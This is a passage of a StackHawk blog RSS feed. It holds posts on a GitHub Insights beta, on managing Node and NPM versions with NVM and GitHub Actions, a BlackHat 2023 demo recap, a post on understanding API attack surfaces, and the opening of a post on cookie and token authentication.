href=&quot;https://youtu.be/xKZfmDZif2s?si=eOFLDBm4iosaKIGn&quot;&gt;Watch the recording&lt;/a&gt; from our Office Hours session, &lt;a href=&quot;https://docs.google.com/presentation/d/18W90A29dJWkKqf5ghXgFr_IUOpD9UHRatV7SWlLa3tk/edit?usp=sharing&quot;&gt;Gitty Up with GitHub Insights&lt;/a&gt;, to see it in action!&lt;/p&gt;&lt;h2&gt;The StackHawk + GitHub Difference&lt;/h2&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Early Discovery from the Inside Out&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Most tools focus on discovering application and API assets after deployment to production, creating a wild goose chase for security teams.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;GitHub Insights takes a proactive approach by surfacing repo activity to give security a heads-up before assets are in production. With early insight and context, security teams can strategize on coverage instead of constantly playing catch-up with new and existing applications and APIs.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;💡Tip: Use the Repositories filter to identify new assets not under test.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Rapid Application Onboarding&lt;/h3&gt;&lt;p&gt;GitHub Insights expands our efforts to take the pain out of deployment and configuration so teams can get their first test under their belts in minutes instead of hours or days.
&lt;/p&gt;&lt;p&gt;With your attack surface in front of you, you can quickly create multiple applications in StackHawk at once and flow through onboarding with our step-by-step callouts to move you through the process.
&lt;/p&gt;&lt;p&gt;💡Tip: Select multiple repositories to create new applications in bulk or map them back to existing StackHawk applications.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Continuous Visibility of Your Entire Attack Surface&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Development never stops, and the state of your coverage today may be different a few months down the road as new assets come online.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;As a security tool built for teams deploying software daily, we wanted to provide security folks with a line of sight into what’s happening in their organization. GitHub Insights delivers a high-level view of your organization’s attack surface by connecting application and API assets to their origin source— the code. With continuous visibility of repo activity, your team can plan and recalibrate security measures to ensure your state of coverage aligns with the speed of development and product delivery goals.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;💡Tip: Compare the Last Scan and Last Commit dates to ensure your testing frequency provides appropriate coverage.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Efficient Collaboration Between Security and Engineering teams&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Determining who to partner with from engineering when a new service needs to be configured for testing or a vulnerability arises is tough when developers outnumber security 100:1. &lt;/p&gt;&lt;p&gt;
We&amp;#39;ve found the most efficient place to start is with the last person working on the code. GitHub Insights tells you the last code contributor so you can collaborate with the right person to get the answers and results you need faster. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;💡Tip: Invite the Last Contributor to StackHawk to help configure a new application or access vulnerability details and fix guidance.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;GitHub Insights is in open beta for all StackHawk customers. If you’re interested in trying it out, sign up for a &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;free trial&lt;/a&gt; or &lt;a href=&quot;https://www.stackhawk.com/contact/#request-a-demo&quot;&gt;reach out to see a demo&lt;/a&gt;.
&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Managing Node and NPM Versions in Our Projects: Best Practices for Developers]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/managing-node-and-npm-versions-in-our-projects-best-practices-for-developers</guid><category><![CDATA[Tech Learnings]]></category><dc:creator><![CDATA[Brandon Ward]]></dc:creator><content:encoded>&lt;p&gt;It sounds ideal to have the same Node and NPM versions for all projects in your shop. However, if you have ever tried to enforce this, even with just a few projects, it tends to fall over quickly.  Therefore, rather than trying to solve that holy grail of Node development, let&amp;#39;s instead focus on making the tools work for us.&lt;/p&gt;&lt;h3&gt;Embracing Node Version Manager (NVM)&lt;/h3&gt;&lt;p&gt;Our first step towards version management bliss is to encourage all of our engineers to &lt;a href=&quot;https://github.com/nvm-sh&quot;&gt;install Node Version Manager (NVM)&lt;/a&gt; on their local machines. NVM allows developers to easily switch between different Node versions and ensures that each project uses the appropriate version required for its specific dependencies.&lt;/p&gt;&lt;p&gt;There are several Node version managers. Here&amp;#39;s the reasons we picked NVM (Disclaimer - this is not to say your node version manager does not support these):&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Node Version Management Requirements:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Had to be easy to switch versions. ✅ =&amp;gt; &lt;code&gt;nvm use&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Had to be easy to install versions. ✅ =&amp;gt; &lt;code&gt;nvm install x.y.z&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Had to be easy to upgrade npm to the latest compatible version for this node version. ✅ =&amp;gt; &lt;code&gt;nvm install-latest-npm&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Bonus: Had to be automatic. ✅ =&amp;gt; Set and forget, never worry about your node version again.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;CI Environment&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Same configuration file can be used to drive Node version on CI =&amp;gt; ✅ &lt;code&gt;actions/setup-node@v3&lt;/code&gt; can understand this file.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Can automatically use newer NPM versions that are compatible. =&amp;gt; ❌ but we came up with a workaround!&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;Bonus: Automatic NVM&lt;/h4&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/nvm-sh/nvm#deeper-shell-integration&quot;&gt;We recommend configuring NVM in auto nvm use mode&lt;/a&gt;, which detects the appropriate Node.js version for a project based on the &lt;code&gt;.nvmrc&lt;/code&gt; file present in the project&amp;#39;s root directory as your shell enters this directory. This way, developers don&amp;#39;t have to worry about switching Node.js versions manually; NVM handles it seamlessly!&lt;/p&gt;&lt;h3&gt;Utilizing the &amp;quot;engines&amp;quot; Block in &lt;code&gt;package.json&lt;/code&gt;&lt;/h3&gt;&lt;p&gt;To further enforce the compatibility of Node and NPM versions within our projects, we&amp;#39;ve started using the &amp;quot;engines&amp;quot; block in the &lt;code&gt;package.json&lt;/code&gt; file. This block allows us to specify the required versions of Node and NPM for the project explicitly.&lt;/p&gt;&lt;p&gt;This is useful to help protect folks from accidentally using incompatible node and npm versions in the project, and is a gentle reminder to either:
a) configure nvm in automatic mode.
b) run &lt;code&gt;nvm use&lt;/code&gt;
c) run &lt;code&gt;npm install-latest-npm&lt;/code&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;To ensure that these specified versions are strictly adhered to, we set &lt;code&gt;engine-strict=true&lt;/code&gt; in the &lt;code&gt;.npmrc&lt;/code&gt; file of our projects. This flag ensures that NPM will halt the installation if the required versions are not met, preventing potential incompatibility issues.&lt;/p&gt;&lt;p&gt;Here&amp;#39;s what our updated &lt;code&gt;.npmrc&lt;/code&gt; looks like:
&lt;code&gt;registry={our-registry}
engine-strict=true&lt;/code&gt;&lt;/p&gt;&lt;h4&gt;Where We Needed This&lt;/h4&gt;&lt;p&gt;This particular solution helped us solve an issue with a project stuck on Node 14. Node 14 ships with npm v6, which uses an older `package-lock.json` strategy. If folks used npm v6 instead of npm v7 (which is supported by Node 14) with the newer `package-lock.json` spec, we would experience `package-lock.json` thrash, where a perpetual tug-of-war between the 2 strategies in source control would unfold. This is not fun, and we would prefer the `package-lock.json` to stay consistent.&lt;/p&gt;&lt;h3&gt;Seamless CI Integration with GitHub Actions&lt;/h3&gt;&lt;p&gt;One of the key problems we needed to solve was the seamless connection of Development mode with CI mode. These two experiences needed to be closely connected and work toghether instead of being disjointed. Remember the checklist for why we picked NVM? Well, here&amp;#39;s why it matters. GitHub Actions can understand &lt;code&gt;.nvmrc&lt;/code&gt; for setting up Node. Let&amp;#39;s look at our shared Actions configuration:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Since this is a shared Actions configuration, we only want to setup node for builds that need it. By looking for &lt;code&gt;.nvmrc&lt;/code&gt; to do this, we enforce projects that need Node to include a &lt;code&gt;.nvmrc&lt;/code&gt; - That&amp;#39;s a win! Second, by using this file to control CI, we are doing everything we can to make sure development and CI use the &lt;i&gt;same node version&lt;/i&gt; for a project.&lt;/p&gt;&lt;h3&gt;Handling NPM Versions in CI&lt;/h3&gt;&lt;p&gt;While &amp;quot;actions/setup-node&amp;quot; works brilliantly for managing Node.js versions in our CI environment, we encountered a minor challenge when handling NPM versions. As of version 3, &lt;code&gt;actions/setup-node&lt;/code&gt; lacks built-in tools to manage the corresponding NPM version for a particular Node version. The project simply recommends you install a newer version of npm if you need it with &lt;code&gt;npm install -g npm@x.y.z&lt;/code&gt;. This is... not great... for shared CI configuration. Enter, our workaround!&lt;/p&gt;&lt;p&gt;To address this, we devised a clever solution by introducing the &lt;code&gt;.npm-version&lt;/code&gt; file in repositories that require a specific NPM version alongside their Node.js version. Similar to the &lt;code&gt;.nvmrc&lt;/code&gt; file, the &lt;code&gt;.npm-version&lt;/code&gt; file contains the desired NPM version for the project.&lt;/p&gt;&lt;p&gt;The `.npm-version` file can look as simple as:
&lt;code&gt;8.19.4&lt;/code&gt;&lt;/p&gt;&lt;p&gt;This tells our CI pipeline to use &lt;code&gt;npm@8.19.4&lt;/code&gt; as you&amp;#39;ll see below. Consider this Actions configuration:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;In our CI pipeline, we use the `.npm-version` file&amp;#39;s existence to trigger an NPM version upgrade command, ensuring that the required version is installed before executing other build steps.
All we do is extract that version from our new file convention, and use it to install the version of NPM we want.&lt;/p&gt;&lt;p&gt;With this approach we achieve a consistent and efficient version management process for both Node and NPM in our CI environment.&lt;/p&gt;&lt;p&gt;Better yet, while it&amp;#39;s not perfect, there is documentation as code for the NPM version in CI if it&amp;#39;s not the default version shipped with Node.&lt;/p&gt;&lt;h3&gt;Conclusion&lt;/h3&gt;&lt;p&gt;Managing Node and NPM versions across a multitude of projects can be a daunting task, but with the right tools and practices, it becomes an organized and streamlined process. By leveraging NVM, utilizing the &amp;quot;engines&amp;quot; block, and introducing custom version management files in our CI, we&amp;#39;ve been able to ensure compatibility and stability across our projects.&lt;/p&gt;&lt;p&gt;We hope that sharing our approach will help fellow developers in their version management journey. Feel free to adopt and adapt these strategies to suit your team&amp;#39;s specific needs, and may your projects always run on the right Node and NPM versions!&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;Brandon Ward is a Sr. Senior Software Engineer at StackHawk&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[A Birds-Eye View: Demoing StackHawk at BlackHat 2023]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/a-birds-eye-view-demoing-stackhawk-at-blackhat-2023</guid><category><![CDATA[Product Manager's Corner]]></category><dc:creator><![CDATA[Brian Erickson]]></dc:creator><content:encoded>&lt;p&gt;BlackHat 2023 has come to an end, and it was an exciting experience for the StackHawk team. My colleagues Austin, Zach, and I had the privilege of representing StackHawk at this significant cybersecurity event, where we demoed our platform and connected with professionals who share our passion for Dynamic Application Security Testing (DAST).&lt;/p&gt;&lt;p&gt;StackHawk&amp;#39;s participation in BlackHat 2023 was not just about showcasing our dedication to application and API security testing. It was an opportunity to engage with the community, learn from others, and validate our modern approach to DAST.&lt;/p&gt;&lt;p&gt;In this blog post, we&amp;#39;ll share some key takeaways from our time at BlackHat. From the features that captured the audience&amp;#39;s attention to the conversations that inspired us, we&amp;#39;ll provide a succinct summary of what we learned and how it shapes our perspective on security testing.&lt;/p&gt;&lt;p&gt;Stay with us as we dive into our BlackHat 2023 experience and what it means for StackHawk and the industry as a whole.&lt;/p&gt;&lt;h2&gt;Understanding DAST and StackHawk&lt;/h2&gt;&lt;p&gt;It only took a short lap around the show floor to make it clear the world of security testing is vast and complex. During our time at BlackHat 2023, we were able to shed light on a particular aspect that&amp;#39;s close to our hearts at StackHawk: Dynamic Application Security Testing (DAST).&lt;/p&gt;&lt;h3&gt;How StackHawk is Modernizing DAST&lt;/h3&gt;&lt;p&gt;One fascinating discovery was how many security professionals were not only new to DAST but also surprised that such a developer-friendly tool exists. DAST evaluates running applications for vulnerabilities, providing real-time insights into potential security risks. Unlike traditional methods that only review the code, DAST actively simulates potential attacks, bridging the gap between developers and security experts.&lt;/p&gt;&lt;p&gt;Illustrating where DAST fits into the modern Secure Software Development Life Cycle (SSDLC) became a significant part of our discussions. By showing how StackHawk integrates near unit testing and integration testing, we were able to distinguish our approach from typical dynamic security testing tools. This positioning resonated with security professionals, as it emphasized StackHawk&amp;#39;s alignment with modern development practices, reinforcing the principle of &amp;#39;trust and verify&amp;#39;.&lt;/p&gt;&lt;h3&gt;Introducing StackHawk&lt;/h3&gt;&lt;p&gt;But what makes StackHawk stand out in the crowded field of security testing? Is it an awesome logo? The coolest t-shirts? You guessed it - we&amp;#39;ve got those too. However, our platform goes beyond the basics, not only embracing the principles of DAST but also elevating them to new heights.&lt;/p&gt;&lt;p&gt;StackHawk&amp;#39;s dedication to application and API security testing is built around making security an intrinsic part of the development process. By offering real-time insights and seamless integration with existing workflows, we empower developers to address security issues early and often. This proactive approach not only detects vulnerabilities but also provides the tools to fix them, enhancing security without sacrificing agility or efficiency.&lt;/p&gt;&lt;p&gt;Our time at BlackHat confirmed that there&amp;#39;s a hunger for developer-friendly security tools that integrate smoothly into the modern SDLC. By focusing on DAST and highlighting how StackHawk uniquely addresses this need, we were able to connect with like-minded professionals and reaffirm our commitment to innovating the security landscape.&lt;/p&gt;&lt;h2&gt;Highlights of Our Demonstration&lt;/h2&gt;&lt;p&gt;BlackHat 2023 was a stage for innovation and connection, and our demonstration of StackHawk&amp;#39;s features was met with interest, curiosity, and even surprise. Here&amp;#39;s what captured the audience&amp;#39;s attention:
&lt;/p&gt;&lt;h3&gt;What Demoed Well&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;GitHub Insights Beta&lt;/b&gt;: Our newly introduced GitHub Insights Beta attracted interest with its streamlined onboarding process based on git repositories. By showing an inventory of all of a customer&amp;#39;s repositories, including scan status and last commit date, we illustrated how StackHawk simplifies and enhances the efficiency of the security workflow. (psst - &lt;a href=&quot;https://lp.stackhawk.com/github-insights-open-beta&quot;&gt;&lt;u&gt;GitHub Insights Beta signups are open&lt;/u&gt;&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/optimizing-security-scans-for-speed-and-accuracy/&quot;&gt;&lt;b&gt;&lt;u&gt;Optimization Panel&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;: The Optimization Panel&amp;#39;s ability to indicate whether a scan was complete, based on criteria like Authenticated Scanning, API Discovery, and Technology Flags, struck a chord with many. It demonstrated StackHawk&amp;#39;s dedication to providing thorough and precise security assessments without unnecessary complexity.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;SAST Integrations&lt;/b&gt;: Discussing our integrations with &lt;a href=&quot;https://www.stackhawk.com/snyk/&quot;&gt;&lt;u&gt;Snyk&lt;/u&gt;&lt;/a&gt; and &lt;a href=&quot;https://www.stackhawk.com/GitHub-codeQL/&quot;&gt;&lt;u&gt;GitHub CodeQL&lt;/u&gt;&lt;/a&gt; emphasized StackHawk&amp;#39;s adaptability and alignment with tools already popular among developers. This connection not only affirmed our role in the security ecosystem but also demonstrated how we&amp;#39;re making security testing more accessible and integrated.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Streaming Security Test Results&lt;/b&gt;: Our real-time streaming of results as security tests are running resonated strongly with attendees. This feature showcased how StackHawk provides a transparent and immediate understanding of the application security test findings, bringing otherwise hidden insights to the forefront.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Best Reactions&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Austin&amp;#39;s Developer Story&lt;/b&gt;: Our own Austin brought the process to life by sharing his personal story as a developer. From discovering a security issue to utilizing StackHawk&amp;#39;s platform to understand, reproduce, find a fix, and get that fix into production, his story resonated with the everyday challenges and triumphs of the development world.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Attendee Surprise&lt;/b&gt;: Perhaps one of the most rewarding moments was a conversation with a conference attendee who didn&amp;#39;t even realize a tool like StackHawk existed. Walking away impressed, he captured the essence of what we strive for at StackHawk: building exactly what developers and security professionals need, even when they didn&amp;#39;t know they were looking for it.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Our demonstration at BlackHat was not just about showcasing features; it was about sharing our vision and passion for making security an integral and accessible part of the development process. The reactions and connections forged confirmed that StackHawk&amp;#39;s approach resonates with those who are on the front lines of building and securing the digital world.&lt;/p&gt;&lt;h2&gt;Aligning with the Conference Theme: API Security Testing&lt;/h2&gt;&lt;p&gt;A prominent theme at BlackHat 2023 revolved around the crucial role of API Security Testing in today&amp;#39;s interconnected digital landscape. As organizations continue to rely on APIs to drive innovation and enable seamless integrations, the importance of discovering and testing all the organization&amp;#39;s APIs cannot be overstated.&lt;/p&gt;&lt;p&gt;StackHawk&amp;#39;s platform is uniquely positioned to address this growing concern, and our demo at BlackHat showcased precisely how we are making strides in this area. Here&amp;#39;s how:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Comprehensive Discovery&lt;/b&gt;: Our platform&amp;#39;s ability to perform Authenticated Scanning, API Discovery, and Technology Flags ensures that all relevant APIs within an organization are identified and assessed. This breadth of coverage is vital in today&amp;#39;s complex and diverse technology environment.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;GitHub Insights for Streamlined Workflows&lt;/b&gt;: Our new GitHub Insights Beta feature streamlines the onboarding process and offers a concise view of all repositories, enhancing the efficiency of managing and testing APIs across an organization.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Optimization Panel&lt;/b&gt;: The Optimization Panel&amp;#39;s ability to indicate a complete scan ensures that every aspect of an API is thoroughly evaluated, leaving no stone unturned in the quest for robust security.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;StackHawk&amp;#39;s alignment with the conference theme of API Security Testing underscores our commitment to staying ahead of the curve and our dedication to developing solutions that resonate with the current needs and challenges faced by the industry. Whether it&amp;#39;s a new feature like GitHub Insights Beta or the intelligent use of existing functionalities, we are poised to empower organizations in their API security efforts.&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;BlackHat 2023 was more than just an event; it was a melting pot of ideas, a validation of our approach, and a source of inspiration for future endeavors. As we reflect on our time spent demoing StackHawk to an engaged audience of security professionals, a few key takeaways stand out:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Understanding and Relevance&lt;/b&gt;: Our discussions and demonstrations provided insight into the growing relevance of DAST, and specifically, how StackHawk&amp;#39;s developer-friendly approach fills a unique need within the industry.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Exciting Features and Reactions&lt;/b&gt;: From StackHawk’s streaming results to our GitHub Insights Beta, we were able to showcase features that not only resonate with our users but also position StackHawk as a forward-thinking leader in application and API security testing.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Community and Connection&lt;/b&gt;: Engaging with attendees, sharing stories, and building connections reinforced the value of community. We were reminded that our work at StackHawk is not just about creating tools but also about nurturing relationships and contributing to the broader security landscape.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Reflecting on BlackHat 2023, it&amp;#39;s clear that the event was a valuable opportunity for StackHawk to align with the pulse of the industry, validate our innovations, and forge connections that will fuel our future growth.&lt;/p&gt;&lt;h3&gt;Take the Next Step with StackHawk&lt;/h3&gt;&lt;p&gt;If our experience at BlackHat resonates with you, or if you&amp;#39;re intrigued by what StackHawk has to offer, we invite you to explore further:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/demo/&quot;&gt;&lt;b&gt;&lt;u&gt;Request a Demo&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;: Experience the power and simplicity of StackHawk&amp;#39;s platform by getting in touch for a personalized demo. Discover how we can tailor our solutions to meet your unique security needs.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://lp.stackhawk.com/github-insights-open-beta&quot;&gt;&lt;b&gt;&lt;u&gt;Register for GitHub Insights Beta&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;: Join our beta program and be among the first to experience our new GitHub Insights feature. Your participation will not only provide early access but also shape the future of this exciting development.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;At StackHawk, we&amp;#39;re driven by a vision of making security accessible, efficient, and integral to the development process. Our time at BlackHat 2023 has only strengthened this vision, and we look forward to what the future holds. Join us on this journey and be a part of shaping a more secure digital world.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;b&gt;Brian Erickson is a Sr. Product Manager at StackHawk&lt;/b&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;b&gt;Austin Pearigen is a Software Engineer at StackHawk&lt;/b&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;b&gt;Zachary Conger is a Solutions Architect at StackHawk&lt;/b&gt;&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Understanding the Attack Surface of a Production API]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/understanding-the-attack-surface-of-a-production-api</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[Dan Hopkins]]></dc:creator><content:encoded>&lt;p&gt;Finding, fixing and preventing security vulnerabilities from entering production requires understanding the scope of what you’re protecting. When it comes to APIs, this information is often hard to get, out of date, or incomplete. &lt;a href=&quot;https://en.wikipedia.org/wiki/Blind_men_and_an_elephant&quot;&gt;&lt;u&gt;Like the blind men trying to understand the elephant&lt;/u&gt;&lt;/a&gt;, the stakeholders involved with developing and operating an API understand the system in different ways. Often referred to as the “three lenses of production”, it’s important to understand the various roles and responsibilities each stakeholder plays to further understand where information overlaps and where attention to detail may be lacking. &lt;/p&gt;&lt;h2&gt;Three Lenses of Production &lt;/h2&gt;&lt;p&gt;When we dive into the various stakeholders responsible for understanding API attack surfaces, they fall into these three key roles: Engineering, QA, and Security. Each has their own unique role, which we’ve outlined below: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Engineers&lt;/b&gt; understand how code is written and the routes that exist. They often communicate in documentation such as &lt;a href=&quot;https://www.openapis.org&quot;&gt;&lt;u&gt;OpenAPI&lt;/u&gt;&lt;/a&gt; specifications. Given the speed of software development, these documents can be challenging to maintain and at times, can be out of date or incorrect. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;QA teams&lt;/b&gt; understand how the system actually works, but they usually don’t test the entirety of the API due to time constraints. They document their knowledge using automated testing frameworks like Selenium or Cypress tests.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Security teams&lt;/b&gt; monitor production to ensure that no one is attacking the system. They have insight into how users are using the system, but they might miss long-tail routes that get called infrequently. Their knowledge can be stored in API Security tools such as Salt Security, Tenable, or NoName.
&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Integrate API Security with StackHawk’s API Security Testing&lt;/h2&gt;&lt;p&gt;If using tools like &lt;a href=&quot;https://salt.security&quot;&gt;&lt;u&gt;Salt Security&lt;/u&gt;&lt;/a&gt; or &lt;a href=&quot;https://www.traceable.ai&quot;&gt;&lt;u&gt;Traceable&lt;/u&gt;&lt;/a&gt; you can export an OpenAPI Specification based on the real API requests logged by the monitoring system. With your newly created OpenAPI Spec, you can test your website by configuring &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/openapi-configuration.html#using-an-openapi-spec-file-in-hawkscan&quot;&gt;&lt;u&gt;HawkScan&lt;/u&gt;&lt;/a&gt;. &lt;b&gt;Note:&lt;/b&gt; Since you’re likely protecting your production server using an API Security tool, take care to not run your StackHawk tests on production. Make sure that you edit your tests to run against your preproduction system. If you copy URLs directly from production, ensure that the domains have been adjusted to point at pre-prod.&lt;/p&gt;&lt;p&gt;This process of extracting an OpenAPI Spec from your API Security system and connecting it to the testing pipeline is also something that is worth automating to connect to your API security system and extract a new OpenAPI spec whenever your scan runs. This will ensure that you are always running against a recent version of your API specification. 
&lt;/p&gt;&lt;h2&gt;Understanding Your API Attack Surface: Best Practices &lt;/h2&gt;&lt;p&gt;When it comes to comprehending your API&amp;#39;s potential vulnerabilities, there are key steps that developers and security professionals should prioritize.&lt;/p&gt;&lt;p&gt;Begin by examining the API&amp;#39;s routes and operations, as this provides a fundamental understanding of its functionality. Next, delve into the specifics of the data flowing through the API. This involves integrating this data into your testing strategy to replicate realistic scenarios.&lt;/p&gt;&lt;p&gt;A valuable strategy is to leverage attack data collected from your API Security tools. This data can be replayed across your entire system, extending beyond the original points of attack.&lt;/p&gt;&lt;p&gt;Consider a scenario where your security team detects an attempt to exploit a common SQL injection vulnerability in a user creation form. If the user creation form is utilized in various parts of your enterprise, you can efficiently assess your system&amp;#39;s safety by applying the known attack technique across numerous API endpoints using &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/openapi-configuration.html#using-custom-variable-injection&quot;&gt;&lt;u&gt;custom data.&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Build a Strong AppSec Program&lt;/h2&gt;&lt;p&gt;When dealing with data from production systems, exercise caution to avoid transferring customer or personally identifiable information from production to pre-production environments. Adhering to corporate compliance controls is essential, and it&amp;#39;s wise to keep sensitive data separate. Nevertheless, this doesn&amp;#39;t hinder your ability to utilize attack data, which doesn&amp;#39;t contain sensitive details.&lt;/p&gt;&lt;p&gt;Remember, the essence of shifting security left is to detect vulnerabilities prior to their introduction in production. While API Security systems might not be aware of new functionalities until deployment, this presents an opportunity for enhancement. You can establish procedures that grant your team insights into upcoming or modified APIs, allowing thorough testing before reaching the production phase.&lt;/p&gt;&lt;p&gt;By being vigilant and proactive, you&amp;#39;re ensuring a robust security approach that benefits both your team and the overall system integrity.&lt;/p&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;Connecting your API Security system to your API Security Testing program means that you will more fully understand the surface area of what you’re testing and can prioritize APIs that contain sensitive data. See how &lt;a href=&quot;https://www.developer-tech.com/news/2023/aug/23/salt-launches-step-enhance-api-security-enterprises/&quot;&gt;&lt;u&gt;StackHawk stands out as one of Salt Security’s inaugural partners implementing this technique&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;i&gt;&lt;b&gt;Dan Hopkins is VP of Engineering at StackHawk&lt;/b&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;Read more&lt;/b&gt;:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;Try StackHawk for free&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/demo/&quot;&gt;Watch a demo&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Multiple Cookies and Token Authentication: Enhancing API Security]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/multiple-cookies-and-token-authentication-enhancing-api-security</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[Alberto Fidalgo]]></dc:creator><content:encoded>&lt;p&gt;Authentication is a critical aspect of software development, ensuring that only authorized users can access sensitive information or perform specific actions. While traditional username and password authentication has long been the norm, modern software solutions are increasingly adopting more advanced methods, such as multiple cookies and token authentication. These techniques not only bolster security but also provide a seamless user experience. In this blog, we will explore the benefits and applications of multiple cookies and token authentication in software.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;What is Multiple Cookies and Token Authentication?&lt;/h2&gt;&lt;p&gt;Multiple cookies and token authentication involve using custom tokens or cookies to authenticate users instead of relying solely on a username and password. These tokens or cookies act as authorization credentials, granting access to specific resources or functionalities within an application.&lt;/p&gt;&lt;p&gt;Tokens are typically used in API key access or third-party authentication services like OAuth. They are generated by the server and provided to the client, who includes them in subsequent requests to prove their identity. Cookies are also generated by the server as small pieces of data stored on the client side and sent with each request to the server.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Benefits of Multiple Cookies and Token Authentication&lt;/h2&gt;&lt;p&gt;&lt;b&gt;1. Enhanced Security:&lt;/b&gt; Tokens and cookies provide an additional layer of security by separating authentication from the actual user credentials. This reduces the risk of exposing sensitive information, such as passwords, during the authentication process.&lt;/p&gt;&lt;p&gt;&lt;b&gt;2. Scalability:&lt;/b&gt; Tokens and cookies can be easily generated and managed, making them ideal for scenarios where multiple 